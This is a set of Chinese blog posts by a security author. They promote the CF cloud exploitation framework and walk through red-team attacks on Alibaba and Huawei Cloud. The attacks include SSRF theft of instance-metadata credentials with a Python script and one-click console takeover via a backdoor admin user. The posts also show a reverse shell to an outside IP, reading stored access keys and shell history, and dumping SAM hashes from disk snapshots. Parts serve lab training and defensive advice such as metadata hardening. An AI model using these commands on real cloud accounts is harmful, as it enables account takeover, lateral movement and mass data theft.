使用以下命令,可以列出当前已共享的镜像。
cf alibaba ecs imageShare ls
使用以下命令即可取消共享镜像。
cf alibaba ecs imageShare cancel
在接管云平台时,如果加上 -a 参数,CF 除了会自动创建用于登录控制台的子账号外,还会自动创建这个子账号的访问凭证。
cf alibaba console -a
在列出数据库实例时加上 -a 命令,会列出数据库实例的详细信息。
cf alibaba rds ls -a
使用以下命令为 RDS 添加账号。
cf alibaba rds account
默认会创建 crossfire 用户,且赋予所有权限,也可以使用 -u 指定其他用户名。
加上 ls 查看已经创建的账号。
cf alibaba rds account ls
加上 del 删除已经创建的账号。
cf alibaba rds account del
使用以下命令为 RDS 启用公开访问。
cf alibaba rds public
加上 ls 列出配置过的公开访问信息。
cf alibaba rds public ls
加上 cancel 取消公开访问。
cf alibaba rds public cancel
使用以下命令为数据库添加白名单,-w 参数指定 CIDR 地址或者单个 IP 地址。
cf alibaba rds whiteList -w <ip>
加上 ls 列出之前添加过的白名单信息。
cf alibaba rds whiteList ls
加上 del 删除之前添加过的白名单信息。
cf alibaba rds whiteList del
使用以下命令即可轻松判断 AK 所属云厂商,目前该功能已支持腾讯云、阿里云、AWS、华为云、百度云、火山引擎、金山云、京东云、GCP、七牛云、UCloud 的 AK 识别。
cf config query -a <your_access_key_id>
-a 参数用来指定 Access Key Id,该参数是必填的,当只填该参数时会仅通过正则判断所属云厂商。
如果加上了 -s 参数指定 Secret Access Key ,或者同时加上了 -t 参数指定 Session Token ,则除了会调用正则外,还会调用相关接口用来判断 AK 是否可用,从而能更准确的判断 AK 所属厂商。
对于 Mac、Linux 用户而言,现在可以直接使用 HomeBrew 来安装 CF 了,非常方便。
brew tap teamssix/tapbrew install teamssix/tap/cf
在本次更新中,收到来自 shadowabi、Kfzz1 两位师傅的 PR,感谢两位师傅。
其中,尤其感谢 shadowabi 师傅,本次更新中的用户数据后门、镜像共享、自动创建 AK 和 RDS 的相关利用等功能的核心代码均由 shadowabi 师傅提交。
以下是曾经为 CF 提交过 PR 的师傅们,感谢各位师傅。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
CF 是一个云环境利用工具,当获得 AccessKey 即云服务的访问凭证后,就可以使用 CF 进行 AK 的后利用,CF 项目地址:github.com/teamssix/cf
本文介绍的功能基于 0.4.5 版本,以下介绍统一以阿里云为例,关于其他的云是否适配相关命令需要以 CF 使用手册为准,CF 使用手册地址:wiki.teamssix.com/cf
CF 中集成了扫描本地凭证的功能,使用这个功能可以快速收集本机上存储的云访问凭证,当拿下主机权限的时候,可以使用这个功能快速收集当前主机上的云凭证信息。
cf config scan
另外在 CF 中使用 cf config 命令配置完凭证后,如果想查看已配置的凭证,直接加上 ls 即可
cf config ls
如果凭证太长没有展示全,可以加上 -a 参数,查看完整的凭证内容
cf config ls -a
至于删除凭证加上 del 即可
cf config del
如果凭证中有个参数配置错了,可以加上 mf 去修改凭证中某一项的内容
cf config mf
若在同一个云下配置了多个凭证,想切换凭证那直接加上 sw 即可
cf config sw
接管控制台应该是 CF 使用最高频的一个功能了,当接管阿里云控制台的时候,直接使用 cf alibaba console 命令即可,这样会自动创建一个名为 crossfire 的用户,所以当蓝队发现自己的云平台用户中有一个叫 crossfire 的用户,那么可以大概率说明自己的云已经被人搞了。
对于红队而言,如果不想那么明显,可以使用 -u 指定用户名,这样也许不会被有经验的一眼看出来
cf alibaba console -u test
另外,这个自定义的用户名不能和平台上已有的用户名冲突,不然会接管失败
在接管后,如果想查看之前接管的信息,直接加上 ls 即可
cf alibaba console ls
在接管控制台之后,如果整个利用过程已经结束、项目也已经结束的时候,建议取消接管,使用 cancel 命令即可
cf alibaba console cancel
有时碰到有的 AK 权限做的比较严格,必须要指定 Bucket Name 才能列出 Buckets 里的信息,这时可以使用 -b 参数指定 Bucket Name
cf alibaba oss ls -b bucket_name
CF 除了查看 Buckets 整体统计信息外,也可以列出 Objects 的信息,在控制台中默认会列出前一百条 Objects 信息,同时会把完整的结果导出在 result 文件夹中,因此想查看完整的结果可以直接打开 result 中的表格文件,比在控制台上看更方便
cf alibaba oss obj ls
CF 也可以直接下载 Buckets 里的所有文件,方便自己手工在本地去翻敏感信息,顺便提一句,从平时打攻防和身边朋友反馈来看,Buckets 里能翻出敏感信息的概率还是蛮大的,这个就是一个细活儿了,需要耐下心来,慢慢的翻
cf alibaba oss obj get
有时候做攻防到最后,就是看谁更细心、更有耐心,这时考验的就是一个人的品质而不是技术了。如果只是想着拿下权限就行了,接管了 Buckets 就行了,那最后的分数或许就没有其他更有耐心、更细心的队伍高。
在 CF 中内置了阿里云的一些私有区域,默认情况下是不调用的,如果想遍历所有的区域来搜索 ECS,可以加上 -a 参数,兴许会有意外的惊喜
cf alibaba ecs ls -a
CF 在 Windows 实例中执行命令的时候,默认会以 bat 脚本执行命令,如果想以 ps 脚本执行命令,可以加上 -s ps 参数
cf alibaba ecs exec -c \$PSVersionTable -s ps
如果想执行多行命令,使用 -f 指定一个文本文件,在文件中写入自己想执行的命令即可
cf alibaba ecs exec -f teamssix.txt
在发现当前凭证下有多台实例,需要证明拥有这些实例权限的时候,可以使用 -b 命令,批量为这些实例执行三要素,从而证明权限,方便报告的编写,让裁判无话可说
cf alibaba ecs exec -b
有的实例也许可以在元数据中获取到临时凭证,如果我们能获取到这个临时凭证信息,兴许可以进行下一步的内网横行,但一个个的在实例中去构造、访问元数据地址太过麻烦,现在只要使用 -m 参数,就可以一键发现这些实例的元数据中有没有临时凭证
cf alibaba ecs exec -m
只是使用 CF 去执行命令也许会觉着不太过瘾,因此在 CF 中集成了一键反弹 Shell 的功能,只需要在自己的服务器上开启 NC 监听,然后让 CF 去反弹 Shell 就行了
cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444
CF 在运行前,如果距离上一次运行超过 24 小时就会检查一下有无更新,在有新版本的时候,可以使用 upgrade 命令直接更新,无需再到 GitHub 中下载
cf upgrade
当对 CF 中某个命令不熟悉的时候,可以直接使用 help 命令查看帮助,CF 在所有的帮助信息中,都提供了中英双语展示,是不是很贴心,还没给 CF Star 的师傅看到这里,还不给个 Star 嘛
cf help alibaba ecs exec
最后,在 CF 中,我还放置了些彩蛋,应该不难找,哈哈 ~
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
在平时进行云上攻防的时候,偶尔会碰到虽然有 ECS 实例管理权限但无法在实例上执行命令的情况。
一般可能是因为实例没有安装云助手或者云厂商本身就不支持直接下发执行命令等原因,在遇到这种情况时,对于 Windows 实例我们依然有办法获取到实例的权限。
思路也很简单,就是通过为目标实例打快照 —> 创建磁盘 —> 创建实例 —> 挂载磁盘 —> 利用 SAM 等文件获取密码或哈希 —> 使用密码或哈希远程登录获取权限。
下面将以华为云为例,来演示下这个步骤。
先看下当前场景,我们在接管控制台后,账号下有一台 Windows 实例,现在我们需要获取它的权限。
根据刚才的思路,为这台实例的系统盘创建一个快照
通过这个快照创建磁盘
接着创建一个实例,在创建实例的时候,要注意可用区的选择,需要选择和磁盘在一个可用区,否则会无法挂载。
将刚创建的磁盘挂载到刚创建的实例中
远程连接刚创建的实例,可以看到磁盘已经挂载上了,如果没有看到则可以在磁盘管理里找找
这时我们就可以通过 SAM、SYSTEM、SECURITY 文件获取哈希了,如果是域控可以通过 NTDS.dit 文件获取整个域的哈希。
这里以使用 impacket-examples-windows 获取哈希为例。
.\secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL
可以看到获取到了 3 个用户的 Hash、2 个明文密码,经过尝试,第 2 个明文密码就是 cloudbase-init 用户的密码,因此这里就可以利用这个密码直接远程登录目标实例了。
登陆目标实例后,发现权限是管理员权限,至此,就已经获取到目标实例的权限了,上述我们自己创建的快照、磁盘、实例此时就可以删掉了。
可以看到,整个的步骤还是有些繁琐的,对于上面的步骤可以结合 Terraform 等工具实现自动化,如果读者感兴趣,可以自己尝试尝试。
对于 AWS,老外也有相应的利用工具,比如 CloudCopy,直接通过脚本获取快照中的 NTLM 哈希,原理都是差不多的,我之前也写过这个工具的利用文章,详见:wiki.teamssix.com/CloudService/EC2/ec2-shared-snapshot.html
不同的云可能在一些地方不太一样,但思路都是差不多的,在实战中,还是要多琢磨琢磨。
看到这里,也许有的人可能会有疑惑,那如果是 Linux 怎么办呢?Linux 的话,感觉能做的不多,可能就是翻翻文件、解密 Shadow 之类的了。
最后,如果对上面的内容有什么想法或疑问,欢迎在评论区交流。
]]>更多信息欢迎关注我的微信公众号:TeamsSix
AWS CloudFront 简单理解就是 AWS 的 CDN 服务,在 AWS 安全标准和最佳实践中,AWS 官方将 CloudFront 未配置默认根对象这个问题定级为严重,这里来学习了解一下这个问题。
我一般在直接看他们官方介绍的时候,第一眼往往会让人摸不着头脑,再仔细看看才会明白所表达的意思,不知道是不是因为翻译的问题,这里谈谈我所消化的理解。
要明白默认根对象,可以先看个例子:一般当我们在浏览器里输入访问一个网站时,比如 teamssix.com
,实际上浏览器打开的是 teamssix.com/index.html
,这里的 index.html
就是默认根对象。
所以默认根对象其实就是指当我们访问一个网站根目录时,这个网站所默认跳转指向的对象,故而叫默认根对象。
在使用 CloudFront 时,如果不配置默认根对象,就意味着当我们访问 teamssix.com
时,就真的会访问 teamssix.com
,而不是 teamssix.com/index.html
,这时用户如果想浏览这个网站就需要自己拼接 /index.html
路径到 URL 中了。
根据官方的描述,不配置默认根对象对和 S3 相关的 CloudFront 影响比较多,首先这里先创建一个 S3,然后再创建一个和 S3 关联的 CloudFront,创建完成后,CloudFront 会分配给我们一个 URL 地址,通过这个地址就可以访问到 S3 服务了。
实际上这里的描述是不太准确的,为了帮助理解,我简化了这里的描述。
前面说过,当没有配置默认根对象的时候,我们访问一个网站的根目录,真的就是在访问它的根目录,那么这时我们访问刚才 CloudFront 分配给我们的地址看看会是什么。
可以看到和直接访问 S3 根目录是一样的效果,如果此时 S3 存在列举对象的风险的话,那么在没有配置默认根对象的时候,直接访问 CloudFront 分配地址看到的就是这样的效果。
这个页面中泄漏了 S3 存储桶的名字,即这个地址所对应的 S3 真实地址。
但如果我们把默认根对象配置成了 index.html,再次访问 CloudFront 分配的地址,就是这样子,这才是预期的展示效果。
综上分析,配置默认根对象可以在一定程度上避免以下问题:
不管是什么问题,其影响程度还是需要根据实际情况去具体分析,毕竟在某些情况下,这个问题有可能会造成很大的影响,在某些情况下,这个问题可能不会造成啥影响。
最后其实还是有一些疑惑,在 AWS 安全标准和最佳实践中,定级为严重的问题是很少的,这个未配置默认根对象的问题我个人觉着定级为高危或者中危应该是比较合理的,对于这个问题如果你还知道一些其他的信息,欢迎一起沟通。
参考链接:
《什么是 Amazon CloudFront?》
https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html
《指定默认根对象》
https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DefaultRootObject.html
《CloudFront distributions should have a default root object configured》
https://docs.aws.amazon.com/securityhub/latest/userguide/cloudfront-controls.html#cloudfront-1
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
T Wiki 云安全知识库截止到今天 2022 年 11 月 5 日,共有 56 篇云安全文章、181 条云安全资源。
T Wiki 在线访问地址:wiki.teamssix.com
T Wiki 于今年的 4 月 16 日上线,之前在四月份、五月份分别做过一次月度统计,自上次五月份统计以来,T Wiki 更新了 14 篇云安全文章 、52 条云安全资源、新增 CF 使用手册板块。
关于文库更新时间线详情可以参见:wiki.teamssix.com/changelog
这几个月来,收到了四位师傅们的补充,分别是 Esonhugh
、想走安全的小白
、一生热爱
、Kfzz1
这四位师傅,尤其感谢 一生热爱
师傅为 T Wiki 贡献的多篇文章。
「Esonhugh」师傅
「想走安全的小白」师傅
「Kfzz1」师傅
自主更新内容
「一生热爱」师傅
自主更新内容
Awesome Cloud Security 项目是一个云安全资源汇总的项目,当前已有 600 余个 Star,这个项目内容会和 T Wiki 云安全资源板块同步更新,Awesome Cloud Security 项目地址:github.com/teamssix/awesome-cloud-security
CF 是一个云环境利用框架,适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。
CF 当前已有 1.3k 个 Star,CF 使用手册也在 T Wiki 中。
CF 使用手册地址:wiki.teamssix.com/cf
CF 项目地址:github.com/teamssix/cf
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
之前有次在做攻防演练的时候,通过反编译小程序找到了目标云服务的 Access Key,最终通过这个 AK 拿下了目标上千万条敏感信息以及几十台云服务主机的 root 权限,整个过程平平无奇,这里简单记录下。
阅前须知:
首先找到目标的微信小程序,反编译小程序找到了硬编码在源码里的 Access Key
将 Access Key 配置到 CF 云环境利用框架里,CF 项目地址:github.com/teamssix/cf
cf config
尝试列出一下当前访问凭证的资源,因为输出内容较多,这里仅展示了一部分,再次提醒一下,本文图片中数据的值都是虚构内容,非真实场景里的数据。
cf alibaba ls
最终通过 CF 列出这个 AK 里有 2 个存储桶以及 30 多台云服务主机,不过里面有一台是关机的。
先来看这两个存储桶,在第一个存储桶 teamssix-api-example 里有 500 多 M 的数据,在存储桶体积比较少的情况下,可以直接使用 cf alibaba oss obj get
命令下载存储桶里的所有对象,但这里存储桶体积比较大,还是用 OSS Browser 大概预览下吧。
用 OSS Browser 打开第一个存储桶,翻了一遍,没有发现太多敏感的信息,然后继续打开第二个存储桶,发现在第二个存储桶里存储了大量的身份证信息。
在 OSS Browser 里没办法看到这些文件的总数,好在 CF 的输出结果里可以看到存储桶的文件总数。
从 CF 的输出结果来看这个存储桶总共有 345 w 条数据,从 OSS Browser 列出的结果来看,估计这三百多万条的数据应该都是身份证照片之类的信息了。
刚才通过 CF 发现了 30 多台云服务主机,这里先看看 CF 能对云主机执行哪些操作。
cf alibaba ecs exec -h
在写报告的时候需要有服务器权限证明的截图,这里可以直接使用 CF 一键执行三要素,方便写报告。
cf alibaba ecs exec -b
接下来打算翻翻实例,看看能不能发现什么有用的信息,后来在一个实例的命令历史记录里发现了 MySQL 数据库的明文密码。
cf alibaba ecs exec -i i-abcdefghijklmn33 -c "cat ~/.bash_history | grep mysql"
连接到数据库后,开始翻数据库,翻着翻着,在一张表里发现好东西,这张表存储了目标一千多万条敏感数据。
再后来,在其他的实例中还发现了一些容器,包括 ES 、Redis 数据库的容器,不过里面数据量没有太多。
到这里,通过这个 AK 已经拿到了目标一千多万条数据库敏感信息、三百多万条身份证照片信息以及三十多台服务器 root 权限。
报告交上去后,给的分数也很可观,不过这里因为不通靶标,所以只能搞点数据分和权限分了。
总的来说,整个过程没有太大的波澜,这里主要是利用了两处目标的风险点:
解决起来也很简单:
最后,如果师傅感觉 CF 这个工具还不错,记得给个 Star 呀 ~ ,CF 项目地址:github.com/teamssix/cf
]]>CF 项目地址:github.com/teamssix/cf
当前已支持的云:
使用手册请参见:wiki.teamssix.com/cf
这里以阿里云为例,其他更多操作可以查看上面的使用手册。
配置访问配置
cf config
一键列出当前访问凭证的权限
cf alibaba perm
一键接管控制台
cf alibaba console
一键列出当前访问凭证的云服务资源
cf alibaba ls
查看 CF 为实例执行命令的操作的帮助信息
cf alibaba ecs exec -h
一键为所有实例执行三要素,方便 HVV
cf alibaba ecs exec -b
一键获取实例中的临时访问凭证数据
cf alibaba ecs exec -m
一键下载 OSS 对象存储数据
cf alibaba oss obj get
一键升级 CF 版本
cf upgrade
截止 2022 年 9 月 8 号,CF 已更新至 v0.4.0 版本,更新功能如下:
值得注意的是,由于该版本对配置访问凭证的功能进行了优化,因此该版本需要重新配置访问凭证。
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
但是让我十分意外又惊喜的是,仅过去了 1 个星期,这个项目在没有宣传的情况下,就已经获得了近 400 的 star,在此十分感谢大家的支持。
到现在已经过去了快两个月的时候,CF 云环境利用框架已经迭代到了 0.3.5,目前共经历了 18 次的版本更新,当前 CF 也已经获得了 800+ 个 Star
CF 是一个云环境利用框架,主要用来方便红队人员在获得云服务的访问凭证即 Access Key 的后续工作。
CF 项目地址:github.com/teamssix/cf
CF 社区地址:github.com/teamssix/cf/discussions
CF 使用手册:wiki.teamssix.com/cf
今天是 2022 年 8 月 25 日,我收到了来自 404 Team 的邀请函,很高兴宣布 CF 现正式加入 404 星链计划啦~
感谢在这个过程中为 CF 提 PR、提 Bug、提需求的师傅们,尤其感谢 Amzza0x00、Esonhugh、Dawnnnnnn、Belos-pretender 四位师傅对 CF 的贡献,感谢你们。
后续 CF 将在 2022 年 9 月 14 日前,更新至 v0.4.0 版本,目前 CF 还仅支持阿里云、腾讯云的利用,以后也将不断支持其他云的利用,例如 AWS、华为云等,关于 CF 的更新排期可以看这里:github.com/teamssix/cf/discussions/130
最后再一次感谢大家对 CF 的支持~
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
最近在做项目的时候,测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点,并且发现这个 SSRF 漏洞可以读取到临时凭证,这不巧了,正好最近写了一个云环境利用的工具。
开始之前这里先简单介绍一下这个工具,CF 是这个工具的名字,通过它可以很方便的进行云上内网渗透,比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。
项目地址:https://github.com/teamssix/cf
使用手册:https://wiki.teamssix.com/cf
十分建议在使用 CF 的时候,边使用边参考 CF 的使用手册,发现 CF 更多功能,那话不多说,下面咱们就开始吧。
一开始还是信息收集,首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。
这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。
然后我们读取返回的文件地址,通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg,说明这里确实存在 SSRF 漏洞。
通过查询该域名所属 IP,发现该站点位于云上,那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息,但是这样每次获取数据都要手动发两个数据包就很麻烦,所以这里简单搞个脚本。
import sysimport requestsssrf_url = sys.argv[1]headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)print(req2.text)
通过查询该站点的 IP 得知该站点位于阿里云上,阿里云的元数据地址为 http://100.100.100.200/latest/meta-data,我们尝试获取一下。
可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 ram/
目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。
我们一步步打开 ram/
目录,在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。
不同于传统的打点,云环境的打点在我看来,除了传统打点的类型外,拿到云服务的 Access Key 也应该可以被称之为打点,那么在打到点后,接下来就可以开始内网横向了。
当我们拿到临时访问凭证后,首先要做的就是得知道这个凭证具备哪些权限。
我们先把凭证配置到 CF 里,CF 下载地址:https://github.com/teamssix/cf/releases
cf configure
查看当前凭证的权限
cf ls permissions
可以看到当前权限具有 OSS 的全部权限,并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。
这里先列出 OSS 资源看看
cf oss ls
可以看到在该凭证下有四个存储桶,一个是公开的,三个是私有的。
查看一下存储桶里有哪些文件
cf oss ls -b bucketName
利用 CF 下载文件,如果想下载全部对象,则不指定 -k
参数即可。
cf oss get -b bucketName -k objectKey
大概翻了一下存储桶里的文件,在公有存储桶里大部分是图片,私有存储桶里有几十个压缩包文件和大量图片等等,这几百张图片里只发现了几张有敏感信息的图片,整体来说价值不大。
后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件,最后在几十个压缩包里终于找到了一个有高价值的配置文件,于是事情开始出现了转机,不得不说,还是得细心啊。
查看这个配置文件,发现在配置文件里写的是「OSS 相关配置信息」
但是当我们配置上这个 AK 后,发现这个 AK 还具有 ECS 的权限。
在后来拿下管理员权限后,我们发现这个用户被配置到了具备 ECS 权限的用户组里去了,所以这里才会有 ECS 的权限。
先用 CF 看一下有哪些 ECS 实例
cf ecs ls
使用 CF 一键获取临时访问凭证
cf ecs exec -m
发现只有一个实例可以获取到临时访问凭证,而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。
于是通过临时访问凭证横向的这条路就断了,那就继续在实例上信息收集吧,看看能不能找到什么有价值的信息,最后发现有一台实例安装了 aliyun cli 工具,并且配置过 AK,那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。
cf ecs exec -c "cat ~/.aliyun/config.json"
将 CF 配置上这个 AK,并查看权限
发现这个 AK 的权限要比之前的几个都要大,这个 AK 具有 AliyunRAMFullAccess
权限,这也就意味着我们可以创建一个管理员后门用户,并通过该用户去接管控制台。
使用 CF 一键接管控制台
cf console
在浏览器中,打开控制台登录地址,并输入用户名、密码进行登录。
在访问控制里,可以看到当前权限为AdministratorAccess
,这也就意味着我们已经拿到了该租户的管理员权限。
在控制台中看看这个账号下的 OSS 对象存储服务
其他的 ECS、RDS 等等云服务也都是可以查看并操作的,这里就不再一一截图了,到这里为止,其实在我看来就相当于已经拿下了传统内网中的“域控”权限。
基本上这个云账号下的绝大部分操作都是可以执行的了,只不过在控制台下有些操作需要二次校验,但其实还是有办法绕过的,绕过的方法也很简单,相信你能猜到 ~
最后还有一些值得注意的地方,是需要了解的:
- 在 ECS 实例中执行一些高危命令,例如反弹 Shell 这类,可能会引发云盾告警。
- CF 接管控制台会创建一个后门用户,在使用完后,记得取消接管,使用
cf console cancel
命令即可取消接管,后门用户也会随之删除。- 为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用,文中少部分内容非真实发生且部分内容进行了省略。
- 出于保护目标但又想学习交流的目的,以上云上环境均为个人搭建,不代表目标的实际情况。
记得以前大家一起做项目的时候,那个时候如果有人打点打到云上的主机时,就会在协作平台里标注一句「这个是云主机,不用花太多时间去深入」。
但随着企业业务的不断上云,打点打到云上主机的概率也在可感知的越来越大,似乎传统内网的奶酪正在不断变少,这时如果不去寻找新的奶酪(指云上内网横向),也许在不久的将来就会陷入两难的境地。
因此本文既是在介绍我写的这个云环境利用框架 CF 工具,也是在描绘一种在新场景下的内网横向手法,这里的内网横向不仅仅是从这台机器到那台机器,而是从这个云服务到那个云服务,例如从 OSS 到 ECS 再到 RAM 等等,在这其中又包含了从这个机器到那台机器,例如多台 ECS 实例之间的内网横向。
现在 xx 在即,也希望我写的这个工具以及这篇文章能够为你在实战中带来新的启发和新的思路,如果感觉 CF 这个工具似乎还可以的话,师傅你不妨动动小手给 CF 点个 Star,嘿嘿~ ,CF 项目地址:https://github.com/teamssix/cf
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
当我们平时拿到云服务的访问凭证即 Access Key 时,通常的做法可能是看下对方的 OSS 对象存储、或者在实例上执行个命令,但 AK 的利用远不止这些,通过 AK 我们可以做太多太多的事情,为了方便 AK 的利用,于是有了这个工具。
CF 是一个云环境利用框架,主要用来方便红队人员在获得云服务的访问凭证的后续工作。
下载地址:github.com/teamssix/cf/releases
代码完全开源,师傅们可以放心使用,提前祝师傅打下一个又一个点、拿下一个又一个云上管理员权限。
截止到 2022 年 7 月 10 日,CF 已迭代到 v0.2.2 版本,目前 CF 仅支持阿里云,当前 CF 已支持以下功能:
使用手册请参见:wiki.teamssix.com/cf
配置 CF
cf configure
一键列出当前访问凭证的云服务资源
cf ls
一键列出当前访问凭证的权限
cf ls permissions
一键接管控制台
cf console
查看 CF 为实例执行命令的操作的帮助信息
cf ecs exec -h
一键为所有实例执行三要素,方便 HVV
cf ecs exec -b
一键获取实例中的临时访问凭证数据
cf ecs exec -m
如果感觉还不错的话,师傅记得给个 Star 呀 ~,另外 CF 的更多使用方法可以参见使用手册:wiki.teamssix.com/cf
]]>更多信息欢迎关注我的个人微信公众号:TeamsSix
本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。
本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat
在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。
由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。
接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1cd TerraformGoatdocker build . -t terraformgoat:v0.0.3docker run -itd --name terraformgoat terraformgoat:v0.0.3docker exec -it terraformgoat /bin/bash
如果 github 访问较慢,可以给终端挂上代理
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。
进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/aliyun configure
部署 SSRF 靶场
terraform initterraform apply
如果 init 初始化比较慢,挂上代理即可
在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。
在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。
当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。
访问元数据
http://100.100.100.200/latest/meta-data
在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。
通过元数据获取临时凭证
这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
将临时凭证配置到 aliyun 命令行工具里。
aliyun configure --mode StsToken
创建子用户,并赋予管理员权限
aliyun ram CreateUser --UserName teamssixaliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
访问 https://signin.aliyun.com 页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。
aliyun ram GetAccountAlias
这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。
输入刚才创建用户时的密码
登录后,就可以看到目标的控制台了。
由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。
在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。
至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。
另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf
这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题:
那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。
针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法:
将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。
值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。
在 Linux 实例中获取 token 的命令如下:
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
通过 token 获取元数据
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/
对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm
将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供
删除创建的子账号
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssixaliyun ram DeleteUser --UserName teamssix
删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。
在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure –mode AK
terraform destroy
如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。
docker stop terraformgoatdocker rm terraformgoatdocker rmi terraformgoat:v0.0.3
这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。
但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个:
在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。
总的来说,云上攻防和常规的内网攻防还是十分不一样的。
最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:https://cloudsec.huoxian.cn,在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。
